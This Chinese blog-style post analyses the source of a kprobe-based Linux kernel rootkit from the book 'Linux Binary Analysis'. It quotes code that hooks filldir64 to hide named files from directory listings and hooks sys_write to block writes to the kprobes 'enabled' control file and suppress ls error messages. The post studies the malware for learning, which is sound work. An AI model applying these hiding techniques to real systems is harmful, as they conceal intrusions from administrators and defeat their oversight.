介绍
《linux二进制分析》中提到了使用kprobe来写内核rootkit,还给出了一个简单的源码实现,这里看一下他的源码
kprobe
kprobe的介绍可以看下面这几篇文章
介绍:https://www.cnblogs.com/honpey/p/4575928.html
原理:https://www.cnblogs.com/honpey/p/4575902.html
用法:https://blog.csdn.net/luckyapple1028/article/details/52972315
rootkit
用来隐藏进程,文件等信息的恶意软件
关于rootkit用来实现隐藏的一些基本操作可以在这里看见:https://www.cnblogs.com/likaiming/p/11002351.html
使用kprobe来写rootkit
作者的源码在这里:https://github.com/elfmaster/kprobe_rootkit
这里分析一下这个项目的源码
这个rootkit只是实现了文件的隐藏,其中被隐藏的文件存放在hidden_files中,定义在文件头
char *hidden_files[] = { #define HIDDEN_FILES_MAX 3 "test1", "test2", "test3" };
在模块初始化的时候,先通过符号表来找到sys_write和filldir64这两个函数的位置
filldir64_kp.kp.addr = syswrite_jp.kp.addr = (kprobe_opcode_t *)n_kallsyms_lookup_name("sys_write"); filldir64_kp.kp.addr = filldir64_jp.kp.addr = (kprobe_opcode_t *)n_kallsyms_lookup_name("filldir64");
然后就向这两个函数的开头和结尾注册了jprobe和retprobe
//向sys_write和filldir64注入jprobe和retprobe register_kretprobe(&filldir64_kp); register_kretprobe(&syswrite_kp); register_jprobe(&filldir64_jp); register_jprobe(&syswrite_jp);
同时还会去找另外3个函数的地址,get_task_comn是获得
_sys_close = (void *)n_kallsyms_lookup_name("sys_close"); _sys_open = (void *)n_kallsyms_lookup_name("sys_open"); _get_task_comm = (void*)n_kallsyms_lookup_name("get_task_comm");
然后有4个kprobe结构,包含着我们的实现代码
static struct jprobe syswrite_jp = { .entry = (kprobe_opcode_t *)j_sys_write }; static struct jprobe filldir64_jp = { .entry = (kprobe_opcode_t *)j_filldir64 }; static struct kretprobe filldir64_kp = { .handler = filldir64_ret_handler, .maxactive = NR_CPUS }; static struct kretprobe syswrite_kp = { .handler = sys_write_ret_handler, .maxactive = NR_CPUS };
先看filldir64的两个函数
//遍历隐藏文件列表,查看是不是和隐藏文件同名 for (i = 0; i < HIDDEN_FILES_MAX; i++) if (strcmp(hidden_files[i], name) == 0) found_hidden_file++; if (!found_hidden_file) goto end;
如果有,则记录在全局变量中
//全局指针,如果有,则记录下这么目录, g_dentry.d_name_ptr = (unsigned long)(unsigned char *)dirent->d_name; g_dentry.bypass++; // note that we want to bypass viewing this file
在返回的时候,如果发现是需要隐藏的目录,则直接清除掉
static int filldir64_ret_handler(struct kretprobe_instance *ri, struct pt_regs *regs) { char *ptr, null = 0; /* Someone is looking at one of our hidden files */ if (g_dentry.bypass) { /* Lets nullify the filename so it simply is invisible */ ptr = (char *)g_dentry.d_name_ptr; copy_to_user((char *)ptr, &null, sizeof(char)); } }
在write系统调用中下kprobe,是为了防止向/sys/kernel/debug/kprobes/enabled写值来禁止kprobe机制,作者只做了这个功能
可以通过get_task_comn来获取进程的可执行文件名字
_get_task_comm(comm, current); printk("comm: %s ", comm); if (strcmp(comm, "ls")) goto do_inode_check; else /* check to see if this is an ls stat complaint, or ls -l weirdness */ /* There are two separate calls to sys_write hence two strstr checks */ if (strstr(s, "cannot access") || strstr(s, "ls:")) { printk("Going to redirect "); goto redirect; }
然后通过检查inode值来看写入的文件是不是/sys/kernel/debug/kprobes/enabled
//先得到file结构,然后得到dentry,最后再得到inode结构 file = fget(fd); if (!file) goto out; dentry = dget(file->f_path.dentry); if (!dentry) goto out; ino = dentry->d_inode->i_ino; dput(dentry); fput(file); /* If someone tries to disable kprobes or tries to see our probes */ /* in /sys/kernel/debug/kprobes, it aint happening */ //enabled_ino表示的是sys/kernel/debug/kprobes/enabled的inode值 if (ino == enabled_ino) { printk("ino: %u ", ino); goto redirect; } else goto out;
最后就是如果判断正确,则将这个进程输出导向NULL而不是写入/sys/kernel/debug/kprobes/enabled,具体做法就是这样
//KERNEL_DS范围很大,到0xffffffffffffffff mm_segment_t o_fs = get_fs(); set_fs(KERNEL_DS); _sys_close(fd); fd = _sys_open(devnull, O_RDWR, 0); set_fs(o_fs); global_fd = fd;
关于这部分的用法直接搜索就可以了,比如:https://www.cnblogs.com/bittorrent/p/3264211.html
在write写结束的位置,再关闭NULL文件就可以了。